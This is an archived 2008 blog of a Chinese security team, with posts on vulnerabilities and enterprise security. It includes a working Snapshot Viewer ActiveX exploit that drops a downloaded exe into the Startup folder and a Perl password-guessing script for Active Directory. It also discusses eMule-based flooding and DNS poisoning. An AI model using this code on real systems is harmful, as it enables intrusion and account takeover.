2008年8月7日星期四

[News]This blog is dead

by axis
2008-08-08
http://www.ph4nt0m.org

Dear all, axis here.

I'm very sorry to announce that this blog is finally dead today.

Because the Great Fire Wall(which is a project held by the Chinese gov) have banned most of the Chinese people to visit blogspot, and the number of our blog's visitors is decreasing.

Another reason is that the members of Ph4nt0m do not have enough time to update tips and papers. We all have much work to do. In China, it is hard to have an ease life until you have earned a lot of money. So we won't have enough spare time to do those things we like before we found some place to live.

The blog is dead, but Ph4nt0m is not, and is never going to. I finally deside to close this blog temporarily and hope to re-open it in the future. But this does not mean we won't write blogs any more. We stop to wrtie team's blog, but the members of us may write their own blogs.

Some of our friends like str0ke may get our recent news and sometimes the newest exploits and vulnerability advisories from our Planet(http://planet.ph4nt0m.org).

The Planet is one of Ph4nt0m's projects and it has collected lots of the most famous expects in Chinese Security Fields who write blogs. Of course it contains our members' blog.If you feel it is too slow to visit the Planet, you may use the google reader to track our feeds. You also can find our team members' blog from the "friend links" of this blog.

In a word, we always want to keep contacts with you, our friends, not here, but in the Planet!

And we will keep our security research continued , both for our spirits and better life. So, don't worry, Ph4nt0m is a team which has 7 years old and and won't die if I am here.


中文就不费神写了,一句话,以后看blog去planet吧,这里由于GFW的原因暂时没精力更新了!

2008年7月22日星期二

[Tips]通过emule做DDOS是否可行?

by 云舒

2008-07-23

http://www.ph4nt0m.org

今天抽空看了下emule协议几个可能会出问题的地方,初步感觉是可能真的有问题。下了代码回来看了,不过代码太大,目前还没找到地方,没法对想法进行印证。我简单的说下,看哪位代码牛人能够在项目中找到对应的代码。

首先是在客户端连接到服务器之后,搜索文件时,服务器返回结果的报文。报文中返回的结果是一个集合,每个集合表示一条记录。但是每条记录中,并不包含拥有 该文件的客户端的IP地址,而是返回的拥有该文件的客户端的ClientID和端口。这里我猜测ClientID的计算是可逆的,搜索发起者可以根据这个 ClientID计算出IP地址,然后连接,请求下载文件。具体报文结构如下:


名称 大小(字节) 默认值 注释
协议类型 1 0xE3
大小 4
不包含报文和大小域的报文大小
类型 1 0x16 操作码 OP SEARCHRESULT 的值
结果数 4 N/A 此报文中包含的结果数目
结果列表 可变 N/A 一个结果的列表








搜索结果列表项格式:


名称 大小(字节) 默认值 注释
文件HASH 16 N/A 用于识别文件的 Hash 值
客户端 ID 4 N/A eMule服务器分配给客户端的ID
客户端端口 2 N/A 客户端的监听的TCP端口
标志数 4 N/A 其后的属性标志个数
标志列表 可变 N/A 标志列表







其次的第二个地方是下载文件的地方,客户端要求下载一个文件时,服务器会返回一个源查找结果报文。该报文也是只包含源的ClientID和端口,客户端应该是按照ClientID计算出IP地址,再去连接下载文件的。具体报文如下:


名称 大小(字节) 默认值 注释
协议类型 1 0xE3
大小 4 N/A 不包含报文头和大小域的报文大小
类型 1 0x42 操作码 OP FOUNDSOURCES 的值
文件HASH 16 N/A 相关文件的 Hash 值
源数量 1 N/A 拥有该文件的机器的数量
源列表 可变 N/A 源列表内容,每一条是一个可用源








每一条源的报文格式如下:


名称 大小(字节) 默认值 注释
客户端 ID 4 N/A 共享该文件的客户端的 ID
客户端端口 2 N/A 共享该文件的客户端端口





可以看到,搜索某个文件时,服务器返回的搜索列表中按照ClientID来区分不同的其它客户端。在开始下载一个文件时,服务器返 回的可用源列表中,每个源也是以一个ClientID来表示的。也就是说,没一个ClientID就可以确定一个源,区分开彼此。而emule可以根据这 个ClientID找到对应的客户端,去连接指定端口,请求文件。那么,现在的问题是这个ClientID是哪里来的?

原来这个ClientID在正常情况下,是我们连接到emule服务器时,服务器分配给我们的。但是注意到,在连接之后,我们可以像服务器提供我们所拥有的文件列表,报文格式如下:


名称 大小(字节) 默认值 注释
协议类型 1 0xE3
大小 4
不包含报文和大小域的报文大小
类型 1 0x15 操作码 OP SEARCHRESULT 的值
文件数 4 N/A 共享列表中的文件数,这个数不超过 200
文件列表 可变 N/A 可选的文件列表,单个项的描述见下









单个文件条目描述我就不细写了,比较有用的字段是文件Hash码,ClientID,以及端口。这样看来,我们在连接到服务器之 后,告诉它baidu的IP地址,TCP80端口,有赤壁下载,或者有XXX片下载,别人下载的时候,emule客户端会不会从服务器返回的可用源列表 中,找到这条记录,并且去连接?

关键问题到了ClientID的计算,协议中这样描述的:假设 IP 地址为 X.Y.Z.W,则客户端 ID 按公式 X+28*Y+216*Z+24*W (Big Endian[6])计算。如果想法是正确的,那么我们可以先计算出百度的IP地址的ClientID,端口设置为80,然后通知服务器,这个 ClientID有高树的片子可以看……

是不是可行?我不知道,等我找到对应的代码,可能要到过年了。


2008年7月20日星期日

[Tips]暴风影音2008Beta1 最新远程溢出 0day 分析

by dummy
http://2008-07-20
http://www.ph4nt0m.org

已近将此漏洞报给暴风.

声明:纯技术研究,禁止将本文相关代码非法用途!后果自负!

下载地址: http://dl.baofeng.com/storm3/storm2008-beta1.exe

一、漏洞分析

今天下午帮同事查找一个软件和新版本暴风兼容性的问题,发现其新增了新的模块,回来就试了一下,运气真好被我到一个远程溢出。

问题模块是暴风的视频加速程序,暴风的视频加速功能是通过设置浏览器代理实现的,这个代理服务器(HttpServer.dll)会在本机开 8089 端口监听处理请求,因为此端口绑定的地址不是localhost, 从而导致此溢出可以被远程利用。

使用 od 打开暴风安装目录下的 box/Stline.exe,这个程序记视频加速模块的主程序文件,按下 F9 让 Stline.exe 跑起来,然后打开 IE 在地址栏中输入 http://baidu.com/111...11.flv (长度必须大于1000) 回车。Od 在 stormtra.dll因为异常暂停下来,如下图:


Ebx = 堆栈的栈顶,dx 是我们输入的 1, 把堆栈窗口拉到最高处,看到堆栈中填满了我们的输入的 URL 拷贝。使用 ida 打开这个 stormtra.dll 进行上下文分析,如下图:



发生异常的函数是在 unknown_libname_98 里,而 unknown_libname_98是 _vscan_fn 的回调,通过sub_1003AE2C 参数判断这个是正则表达式 search 函数,溢出正是在这个函数里面发生,具体为什么这个 search 过程发生溢出暂时可以不用管。

然后在 od 中 shift+f8 忽略异常,接着od 再次断下,如下图,这时eip = 0x00310031, 这是因为溢出后,操作系统从堆栈取异常处理函数,但是堆栈中被填满了我们的输入。



到这里已近可以看到我们的输入成功控制了 eip,那我们离成功也更进了一步了。

二、编写 shellcode

在 od 中注意我们的输入显示的 unicode 串,以前没有搞过此类的溢出,只知道比 ascii 麻烦很多,请教了123 大牛,他给我了一个同类溢出程序的 webdav (参考四),试着改了一下,但是不打算继续放相关代码了,有兴趣自己调吧:)。

四、参考资料

Webdav 远程溢出漏洞分析http://www.xfocus.net/articles/200303/500.html

2008年7月17日星期四

[Tips]The Week of Baidu Bugs

by axis
2008-07-17
http://www.ph4nt0m.org

在过去的一个星期里,我一直在我的blog上开展一个The Week of Baidu Bugs的活动。

Baidu是中国最大的搜索引擎网站:http://www.baidu.com

现在活动已经结束了。

advisory如下:

The Week of Baidu Bugs - Day 01: 任意URL跳转漏洞

The Week of Baidu Bugs - Day 02: 多处CSRF漏洞

The Week of Baidu Bugs - Day 03: 百度空间XSIO漏洞

The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(上)

The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(下)

The Week of Baidu Bugs - Day 05: 百度空间多处XSS漏洞

The Week of Baidu Bugs - Day 06: 百度竞价排名多处XSS漏洞

The Week of Baidu Bugs - Day 07: 最后的献礼

The Week of Baidu Bugs - Day 07: 终章,谢幕

全部都是WEB漏洞,有兴趣的朋友可以看看。

[Tips]PECompact 2.x的脱壳点滴

by void
2008-07-17
http://www.ph4nt0m.org


遇到一个程序加的是这个壳,Dump,修复IAT,不能运行.用Ollydbg跟踪到这里:


00406E00      68 68F04200   PUSH    42F068 ; ASCII "PEC2_IsPacked"
00406E05      6A FF         PUSH    
-1
00406E07      FF15 AC504200 CALL    DWORD PTR [4250AC]
00406E0D      A3 08AF4400   MOV     DWORD PTR [44AF08],EAX



搜索"PEC2_IsPacked",找到PECompact的官方文档,原来是壳的API Hook插件在捣鬼,把MOV [44AF08],EAX改成MOV [44AF08],1.
保存修改.正常运行.

[Tips]DNS缓存中毒漏洞的一点推测

by 云舒
2008-07-15
http://www.ph4nt0m.org

今天他们在群里面说到最近的DNS缓存中毒漏洞,并且绿盟的公告中提到了一些细节性的东西,地址是http://www.nsfocus.net/vulndb/12124。因此根据公告,我稍微推测下这个漏洞的一些问题。

首先是如何攻击的推测。这个根据公告,应该能看出一些端倪。首先使用nslookup查询某个域名的权威解析服务器名称,得到其IP地址,这样就可以生成一些伪造源IP地址和DNS ID的DNS Response数据包。然后向目的DNS服务器查询目的域名,提交了查询之后,马上快速发送生成的伪造DNS Response数据包给目的服务器。让目的DNS在真实的权威DNS服务器响应到达之前,接受到恶意的应答。

但是这里有一个难点:一个大站点的域名,在攻击者请求查询的时候,基本上100%已经存在缓存了。攻击者发起DNS查询时,DNS服务器直接从缓存应答了,根本不会去请求权威域名服务器。解决这个问题,有两个办法,第一个是攻击一个生僻的域名,或者不存在的二级域名,比如说把 fuck.google.cn解析到1.2.3.4,用来钓鱼或者挂马用;第二个办法,是不停的给目的DNS服务器发送恶意的DNS Response数据包,增大碰到缓存过期需要更新数据的几率。不过这样又带来了新的问题,很可能这样的投毒,最终变成了UDP Flood了。

其次是攻击结果的推测。如果攻击一个不存在的二级域名,最终只能用来钓鱼或者挂马,但是如果能够攻击到主域名,则可以做任何事情了,比如说上海用户看到的 baidu变成了sex站点。攻击不存在的二级域名比较容易,只要知道DNS ID的可选数字就行了,一次生成足够的数据包发过去,然后就看怎么骗人访问了。想让主域名中毒,黑掉站点,那就比较难了。

看得比较随意,不知道推测的是不是对的,等等看吧。

2008年7月8日星期二

[Tips]企业内部AD脆弱密码审计

by 云舒
2008-07-09
http://www.ph4nt0m.org

这个是前段时间做的个小脚本,没什么用,审计内部AD脆弱密码的。做这样一些简单的工作,脚本语言确实挺合适的。需要一个普通的AD账号,导出账户名,过滤掉禁用的,然后开始扫描。密码字典按照自己公司的实际情况写就好了,支持%USERNAME%123这样的格式。

脚本里面的各种参数我写死了,因为自己用,不必要敲参数。如果想要用用看,自己改就是了,perl这种东西简单的学一下的话,一个上午就够了。下午不行,这种天气下午只适合睡觉,或者吃点冰绿豆汤之类的东西,反正是不适合看代码。

   1.
      
#!/usr/bin/perl
   2.
       
   
3.
      
use warnings;
   
4.
      
use strict;
   
5.
      
use Win32::OLE;
   
6.
      
use Data::Dumper;
   
7.
      
use Authen::Simple::ActiveDirectory;
   
8.
       
   
9.
      
use constant ADS_UF_ACCOUNTDISABLE => 2;
  
10.
      
use constant ADS_SCOPE_SUBTREE => 2;
  
11.
       
  
12.
      
my $server = 'bj.microsoft.com';
  
13.
      
my $domain = 'bj.microsoft.com';
  
14.
      
my %users;
  
15.
      
my @pwds;
  
16.
       
  
17.
      
select( STDOUT );
  
18.
      $
| = 1;
  
19.
       
  
20.
      
print "Loading account from ad";
  
21.
       
  
22.
      
&LoadUser( );
  
23.
       
  
24.
      
print "done!n";
  
25.
      
print scalar(keys(%users))." users loaded!n";
  
26.
       
  
27.
      
print "Loading password from dic";
  
28.
      
&LoadPwd( );
  
29.
      
print "done!n";
  
30.
       
  
31.
      
open( REPORT, ">report.txt" ) || die "create report error: $!n";
  
32.
      
select( REPORT );
  
33.
      $
| = 1;
  
34.
      
select( STDOUT );
  
35.
       
  
36.
      
foreach my $userkeys(%users) )
  
37.
      {
  
38.
          
foreach my $pwd@pwds )
  
39.
          {
  
40.
              
$pwd =~ s/%USERNAME%/$user/;
  
41.
             
  
42.
              
my $ret = &TestPwd( $user, $pwd );
  
43.
              
if$ret == 1 )
  
44.
              {
  
45.
                  
print "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
  
46.
                  
print REPORT "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
  
47.
       
  
48.
                  
last;
  
49.
              }
  
50.
              
#print "testing [$user/$pwd] n";
  51.
          }
  
52.
      }
  
53.
      
close( REPORT );
  
54.
         
  
55.
      
sub LoadUser
  
56.
      {
  
57.
          
my $objConnection = Win32::OLE->new( "ADODB.Connection" );
  
58.
          
my $objCommand = Win32::OLE->new( "ADODB.Command" );
  
59.
         
  
60.
          
# open ad
  61.
          
$objConnection -> open"Provider=ADsDSOObject;" );
  
62.
         
  
63.
          
$objCommand -> {"ActiveConnection"= $objConnection;
  
64.
         
  
65.
          
# search what and how
  66.
          
my $cmd = "select userAccountControl,distinguishedName,mail from 'GC://dc=bj,dc=microsoft,dc=com' where objectCategory='user'";
  
67.
          
$objCommand -> {"CommandText"= $cmd;
  
68.
         
  
69.
          
# import all users
  70.
          
$objCommand -> Properties -> {"Page Size"= 1000;
  
71.
          
# search all subtree
  72.
          
$objCommand -> Properties -> {"searchscope"= ADS_SCOPE_SUBTREE;
  
73.
         
  
74.
          
my $objRecordSet = Win32::OLE->new( "ADODB.Recordset" );
  
75.
          
$objRecordSet = $objCommand->Execute( ) || die "query data from active directory error,exitn";
  
76.
         
  
77.
          
while( not $objRecordSet -> eof )
  
78.
          {
  
79.
              
my $intUAC = $objRecordSet -> Fields("userAccountControl"-> value;
  
80.
             
  
81.
              
# remove diable account
  82.
              
if( not ( $intUAC & ADS_UF_ACCOUNTDISABLE ) )
  
83.
              {
  
84.
                  
my $longName = $objRecordSet -> Fields("distinguishedName"-> value;
  
85.
                  
my $mail = $objRecordSet -> Fields("mail"-> value;
  
86.
         
  
87.
                  
if( (!defined($mail)) or $mail eq "" )
  
88.
                  {
  
89.
                      
$mail = "null";
  
90.
                  }
  
91.
                  
if$longName =~ /^CN=([w.-_]+),/ )
  
92.
                  {
  
93.
                      
#print ."n";
  94.
                      
my $userName = $1;
  
95.
       
  
96.
                      
chomp$mail );
  
97.
                      
chomp$userName );
  
98.
       
  
99.
                      
$users{$userName= $mail;
 
100.
                  }
 
101.
              }
 
102.
              
$objRecordSet -> MoveNext();
 
103.
          }
 
104.
      }
 
105.
       
 
106.
      
sub LoadPwd
 
107.
      {
 
108.
          
open( FH, "<pass.txt" ) || die "Open password dict error,exit!n";
 
109.
         
 
110.
          
@pwds = <FH>;
 
111.
          
chomp@pwds );
 
112.
      }
 
113.
       
 
114.
      
sub TestPwd
 
115.
      {
 
116.
          
my $username = shift;
 
117.
          
my $password = shift;
 
118.
         
 
119.
          
my $ad = Authen::Simple::ActiveDirectory -> new( host => $server, principal => $domain ) || die "Connected error: $!";
 
120.
         
 
121.
          
if ( $ad->authenticate( $username, $password ) )
 
122.
          {
 
123.
              
return 1;
 
124.
          }
 
125.
          
else
 
126.
          {
 
127.
              
return 0;
 
128.
          }
 
129.
      }
 
130.
       

[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit

by cloie
2008-07-08
http://www.ph4nt0m.org

今天有人发了个Snapshot Viewer的ADV,结合CERT那篇dranzer.pdf,重现漏洞

EXP:

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath 
= buf1;
obj.CompressedPath 
= buf2;
obj.PrintSnapshot();
</script>
</html>



Fuzzing时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完

2008年6月24日星期二

[Tips]学习WebZine [0x02]后乱谈

by Superhei
2008-06-25
http://www.ph4nt0m.org

这里学习了下自己看的明白的PP

[PSTZine 0x02][0x07][乱谈之XSS攻击检测]

这个文章里提到了几个有趣的漏洞:

1.phpinfo() 4096字节后的xss,这个漏洞要是不去分析php的源代码是没有办法发现的,很多人看应用程序的原代码只去分析溢出等问题,但是忽视了应用上的安全, 这个还是要看发现者的意识,SE大牛分析php代码就不放过应用上的安全。而且就web程序的漏洞现在主要是看细节,而发现这些细节最好的办法就是分析 php本身的代码

2.word脚本执行漏洞,对于这个漏洞在hi群里很多人都测试过,没办法创建对象,所以不可以通过wsh等对象执行命 令,但是他可以访问url,这个我们就可以做很多事情[相当于一个csrf],比如引入一个gmail的xss的url,当你打开一个doc文件的时候 你的gmail的cookie就被别人偷了。就这个类型的程序利用还有很多比如pdf 比如最近有人发的[rar自解压文的挂马]... 可以做个应用程序的crsf攻击专题?以后的那些主动防御是不是还要防偷cookie的小偷呢?:)

[这里顺便说下我对csrf的理解,csrf可以认为是一种漏洞类型,但是同时也是一种攻击方式]

[PSTZine 0x02][0x06][深入挖掘ORACLE内部SQLINJECTION]

对于kj这个文章我绝对标题把"挖掘"改为"分析"或者"调试"更加好,对于挖掘他这个文章里提到的方法是不科学的,因为他"挖掘"的前提是用了人家公布的POC/EXP。

对于ORACLE里的SQLINJECTION的基本有2个方法[文章也有提到]

1.白盒[文章也没有提到具体的]

在John McDonald大牛的blog上有篇文章:http://taossa.com/index.php/2006/12/26/stored-procedure-sql-injection-cheat-sheet/

对于白盒来说我们要grep的关键词:

he best way to find these is to do a case insensitive substring search for the following: EXEC, DBMS_SQL, and OPEN.

2.黑盒
在kj文章最后提到的fuzz那才是挖掘

这里说一下ORACLE简单的FUZZ,可以查询ALL_OBJECTS找出所有的package function
procedure与ALL_ARGUMENTS关联获取执行对象的参数类型!

简单介绍具体的几个步骤如下:

a.根据object_name得到package的object_id

SQL> select object_id,object_type from all_objects where object_name='DRILOAD';

OBJECT_ID OBJECT_TYPE
---------- ------------------
30192 PACKAGE
30243 PACKAGE BODY

b.根据object_id得到函数/过程名

SQL> SELECT DISTINCT PROCEDURE$ FROM SYS.ARGUMENT$ WHERE OBJ#=30192;

PROCEDURE$
------------------------------
BUILD_DML
RESOLVE_SQE
VALIDATE_POL
VALIDATE_STMT

c.得到具体PROCEDURE$的参数个数及类型

SQL> select distinct position#,argument,pls_type from sys.argument$ where obj#=30192 and PROCEDURE$='VALIDATE_STMT';

POSITION# ARGUMENT PLS_TYPE
---------- ------------------------------ ------------------------------
1 SQLSTMT VARCHAR2

d.构造fuzz数据

SQL> CALL CTXSYS.DRILOAD.VALIDATE_STMT('''');
CALL CTXSYS.DRILOAD.VALIDATE_STMT('''')
*
ERROR 位于第 1 行:
ORA-06510: PL/SQL: 无法处理的用户自定义异常事件
ORA-06512: 在"CTXSYS.DRILOAD", line 42
ORA-01756: 括号内的字符串没有正确结束

上面的步骤只是简单介绍,具体实现起来还有很多细节要注意[如得到package的所有者如DRILOAD的所有者CTXSYS],花哥已经根据上面的原理实现了一个fuzz,效果还是有的 如:http://superhei.blogbus.com/logs/20127819.html

另外:对于kj文里的“当然最好是审核一下FUZZ的对象EXECUTE权限是否为PUBLIC”,这个是没有必要的,而且对于高权限用户的PACKAGE还是有意义的。对于oracle里的注射在web上利用一直都是围绕着2个问题:

a."权限提升"
b."执行多语句"

但 是oracle里的function调用是很复杂的,比如一个sys的A()里有权限,但是它对PUBLIC没有execuite权限,但是可以被另外一 个B()调用,B()的EXECUTE权限是PUBLIC,所以一样可能被利用,而且对于web上的inj 很多连接用户的权限很高,通过注射可以执行多语句。


[PSTZine 0x02][0x04][浅析浏览器的跨域安全问题]

这个文章比较有意思,首先介绍这个文章的一些8挂:

首 先要从bluehat还是Manuel Caballero的一个题目讲起,由于bluehat的变态[不公布ppt等资料],但是在bluehat的新闻介绍里无意发了个pic[这个pic我 现在找不到了],被sdc看到了 于是从那个pic给出点信息开始研究测试,终于有了:http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html, 接下来就是pdp的介绍推广:http://www.gnucitizen.org/blog/ghost-busters/。对于有价值的信息我是很愿 意共同享受的,于是我看到他们的blog 并发在了hi群里 一起测试讨论。于是qz测试后有了这个文章,并且有了新的进展 :)。 不过最后我在和参加过bluehat的朋友讨论,但是这个朋友告诉我:Manuel Caballero在bluehat上讲的根本不是这个问题 .....

最后bs下ms的恶心,为了得到bluehat的ppt[主要是web的],我找了很多朋友,只有kuza55分享了他的 ppt,还问了kuza55和sowhat是否有其他的ppt,但是他们告诉我ms不让给出来他们的资料,于是我偷偷的email给Manuel Caballero没有回音,不过我还没死心,由于近年来国内暴了很多ms的0day,导致ms可能想和国内的安全人员拉拉关系于是出现了几个ms 安全部门的中国人。于是我想通过他们偷偷share下bluehat的ppt,但是最后的结果还是失败....

对于这个文章在技术方面的关键主要有2个:

a. {toString:function(){return "some-string";} 看了pdp的blog上可以发现这个方法是通过大量测试 得到的结果 ?
b.javasript: 这个就是qz文里的关键利用,因为qz的测试分析思路是值得学习的 :)


[PSTZine 0x02][0x09][如何识别高级的验证码]

对于这个文章里的技术我是不怎么懂的,这里主要是感慨一下,文中的利用主要都是在gui下识别,对于csrf 和web自动化估计是没太大意义 :(


对于其他的文章不在我搞的范围........

rar-gmailxss.bmp http://docs.google.com/File?id=dd9wcvmj_5dbhzqggj_b

word-gmailxss.bmp http://docs.google.com/File?id=dd9wcvmj_3ncwwzjs6_b




[Tips]浏览器cookie安全机制和csrf

by axis
2008-06-25
http://www.ph4nt0m.org

这两天hi群里在讨论关于csrf实现条件的问题,茄子指出了在IE环境下,csrf只是针对session cookie有效,而本地保存的stored cookie在变成当前IE的session cookie前,跨域提交是会被IE阻断的。

通俗来讲就是如果浏览器进程中没有缓存过第三方站点,没访问过,那么使用img/ iframe 标签等跨域访问第三方站点是会被阻断发送cookie的。 这时候的CSRF就会仅仅只是get或者post请求,而不会发送cookie,那么很多需要 验证的提交都会失败。

实际上这里是浏览器的一个cookie安全机制,不光是img 、 iframe等标签,直接 跨域 post或者 get都可能出现这种问题 (使用session cookie和 stored cookie的区别)。

我以前做的一个xss测试, xss成功了3000多次,但 csrf 的一个跨子域的请求却只成功了 100多次, 当时总找不到原因,以为是payload稳定性的问题,现在想来应该就是这个跨域提交被阻断cookie的原因了。

那么根据设想,为了提高csrf的成功率,我们可以在xss后使用一次 window.open(),让用户开个小窗先访问下需要csrf的域,刷出来 一个session cookie,然后就可以csrf了。 不过这个想法还需要测试,而且也不够隐蔽。

PS: Firefox不存在这种阻断cookie的机制

茄子的tips:
http://xss.betaslife.com/blog/?p=24

[Tips]WAF(Web Application Firewall) and Code Review

by axis
2008-06-25
http://www.ph4nt0m.org

最近对于这两种方法的争论挺多的。

实际上,在我思想中,企业搞web安全,这是两个主攻方向了。(PCI标准也这么要求)

我习惯上把WAF归纳为过滤层,就是在应用的架构中有这么一个 filter-tier, 他起的作用是过滤和净化危险输入。在架构中的位置可以是多样化的:单独的硬件、apache mod、应用里面捕获输入;

WAF如果开启阻断功能的话,就可以起到虚拟补丁的功能。在这个意义上来说,可以减小程序员的工作量。

而WAF的最大阻力则是:
1. 误报
2. 对性能的影响
3. 稳定性

而AppSec这些公司推的WAF都属于硬件产品。包括mod-security等,他们都自己有一套漏洞规则,然后卖给甲方。这也是他们产品难推的原 因,尽管你吹的天花乱坠,但实际上敢开启block模式的估计不会有多少,实际上jeremiah grossman自己也承认了,并引用了一段话

“When you know nothing, permit-all is the only option. When you know something, default-permit is what you can and should do. When you know everything, default-deny becomes possible, and only then.”


要了解所有的东西,就要从一开始就上WAF,对于很多半路出家搞安全的网站来说,这显然是很难接受的。

所以真正要实现好的WAF,只能是自己开发,自己部署,通过“学习模式”,来消除误报。而且自己的东西,是可控的,至少从心理上来说是可控的。

WAF的模式是有一定的作用,但不是万能的,也没厂商吹嘘的那么玄乎。这玩意治标不治本,无法带给你的网站安全; 只有有人不断专业维护的WAF,才能从一定程度上说可以带给你安全。这就是我一直在强调的: 安全是一个持续的过程。

与WAF对应的另外一个方向是code review。 code review也有很多方向,不是随便从网上抄个规范来就行的。 同样的,code security review可以做为sdl中的一个核心过程,在软件工程中发扬光大。 每个企业都需要找到自己代码的特色,从而定制出符合自己特色的代码规范,和代码漏洞扫描工具。 这些思想也是我在 《安全幻想曲2008》中曾经强调过的,可惜从CB的反馈看来,真正能看懂我那篇paper背后意思的人的恐怕不多。

code review 是一个治本的过程,也需要长期坚持。不过review code的成本会比较大,有人力也有时间的投入,还有更多的沟通成本。code review的方向 应该是尽可能降低对个人经验的依赖,这就需要有优秀的规范和规则。

在应用安全里, WAF和code review应该是相辅相成的。但是我看现在不少厂商为了牟利,鼓吹WAF的优越性,让WAF走上了歪路,企业冤枉钱花了,却只是一个花架子的安全,一戳就破。如何正确应用,才是甲方安全人员需要思考的问题。

先瞎扯这么多,这两个话题可以讲很深,以后再慢慢一一侃来。

[Tips]安全部门和运维部门

by 云舒
2008-06-25
http://www.ph4nt0m.org

前几天在《无线网络安全之三》中 提到了运维部门KPI的问题,这里重新把它拉出来,顺便说点别的。太多的网络维护人员,鉴于网络稳定性在KPI中占的比重,不愿意对网络做一点点无害的改 动。只要目前的网络没有瘫痪,他们可能就不愿意去做改进了,更愿意保持现在的样子继续运行。后期安全策略的推进,真的是一个很困难的事情。安全应该在设计 当初就考虑进去,可是没有企业在创业当初就去做这方面的投入吧,毕竟安全对创业公司来说是一种投入和伤害。让步一点的说,尽可能早的考虑进去,在公司网络 规模还不是过于庞大杂乱的时候,开始部署安全策略,已经是很有远见的战略了。

对于一般的运维部门经理或者总监,安全不在他们的考虑范畴之内。他们在意的安全,仅仅是数据是否有恰当的备份,机房的电力是否足够充裕,温度是否足够低, 负载均衡设备是否能够支撑,带宽是否足够快等等。从广义的安全来说,这些确实也是安全部门应该考虑的问题。但是毕竟这只是广义安全中的一部分,而且是不被 安全部门的上级老板认为是安全部门成绩的部分,因为这部分是由运维部门来实施的。这里安全部门和运维部门就会有冲突了,运维部门考虑的安全是广义安全的一 部分,他们愿意实施的也是这一部分,而这一部分恰好是狭义的安全所不关注的,不被安全部门上级老板认为属于安全部门成绩的那一部分。另一方面,被上面老板 认为是安全部门成绩的那一部分狭义的安全,安全需要努力去做的那一部分,恰好和运维的KPI某种意义上相冲突。

简单的说,狭义安全和运维是冲突的。运维喜欢做的,是狭义安全不重视的。安全喜欢做的,是运维反感的。解决这个问题,一般来说是依靠沟通。不过我总觉得沟 通不是长久之计,而且不同公司不同的风格,沟通起来更为困难。而且沟通是一个主动性的东西,需要强制性的东西来保障才是最可靠的。我觉得组织结构是比较好 的办法,也就是说让运维的KPI和安全的KPI归结到一个人的身上。系统管理,网络运维,IT内网,安全部门,四个部门统统归结到一个大部门的下面,大部 门总监的业绩,既包括运维,也包括安全,因此,他自然会考虑如何去协调安全和运维的比重。

2008年6月18日星期三

[News]Ph4nt0m Security Team WebZine 0x02

by axis
2008-06-18
http://www.ph4nt0m.org

今天,我们非常欣喜的宣布我们完成了第二期webzine的制作。这是许多人共同努力的
结果,汇聚了大家的心血。

在本期中,文章数比第一期多出了一倍,涉及的话题更广泛。同时我们开辟了一个新的
栏目:interview。以后每期都会对安全界的一些知名人士进行一些采访,让大家能够更加近
距离的了解牛人。

本期中有不少文章是投稿的作品,比如lisl03的关于绕过主防的shellcode、xy7的关于
xss检测的文章等。也是他们的支持,才使得webzine更有活力。

本期特别推荐的文章是《如何识别高级的验证码》,这篇文章可能对安全人员来说有点
难度,但是验证码的对抗却是以后非常重要的一个发展方向。此文主要值得我们借鉴的是怎
样的设计才是一种优秀的验证码。

还有rayhac(茄子宝)写的关于浏览器跨域问题的paper,他根据ghost页面的问题扩展讨
论开来,简单谈了谈浏览器跨域漏洞,最后更是给出了一个ie跨域0day。 同时他也将在blog
上发布另外一篇姊妹篇的文章,进一步完善他的跨域exploit。

提到茄子,不能不提新近成立的安全组织80sec,这是剑心创立的一个专注于web安全的
小团体,组织比较灵活,更近于社区的形式,本期摘录了80sec的两位成员的paper,感谢80sec
为webzine做出的贡献。

好文章很多,不一一点评了,把时间留给诸位看官。任何问题(包括投稿)可以联系
root@ph4nt0m.org

最后让我们欢迎PST的新成员dummy。

http://webzine.ph4nt0m.org

镜像地址(Mirror Address):
http://www.icylife.net/pstzine/0x02/index.html
http://www.80sec.com/pstzine/0x02/index.html
http://www.neeao.com/pstzine/0x02/index.html
http://www.cncert.net/pstzine/0x02/index.html

2008年6月12日星期四

[Tips]无线网络安全之三

by 云舒
2008-06-12
http://www.ph4nt0m.org

很久之前写过两篇关于无线网络的文章,一篇是《企业无线局域网安全》,一篇是《无线路由折腾之一》,简单介绍了目前企业无线局域网设计中常用的安全标准,以及认证方面的风险。但是限于一些原因,我没有给出任何网络设计上面比较详细的方案描述,这里想稍微写一点,点到即止。而且即时知道了这里的一点架构方面的东西,也是无法攻击的,就像公开的加密算法一样。

06年初的时候,负责设计了我的第一个无线网络安全方案。由于实际用户群比较窄,只针对公司内部人员,主要是技术人员,因此在安全方面看重的是身份认证的 强度和数据传输加密防篡改的强度,而不去过多的关注用户授权。因此,在身份认证方面,我选择了动态口令认证,即所谓一次性密码,保证了非法用户无法接入网 络。数据传输方面,没有使用比较常用的AES或者TKIP,而是使用了IPSec VPN通道的方式。用户使用通用密码连接到AP之后,各自处于只有自己一个用户的独立隔离的VLAN中,且无法访问除VPN Server之外的任何服务器,这里的VPN Server可以是无线交换机提供的VPN终结功能。只有手动发起VPN连接通过动态口令认证,才可以访问到内部资源。

最近设计了一个新的无线网络安全方案,跟上面的颇有不同。主要是用户群比较杂乱,多个部门多重身份需要使用无线网络。在后期要对用户能够做比较好的审计, 而对于认证和传输没有太高的要求,可以稍微放松。因此,这里使用了ACS服务器结合后台的Radius服务器来做身份认证,根据不同的用户名选择不同的认 证方式,并根据AD信息划分动态的VLAN赋予相应的权限。传输加密方面,则使用了WPA2标准中的AES-CCMP算法。对比上面的方案,在认证和加密 传输安全性上面略有下降,而授权以及审计功能,有所增强。

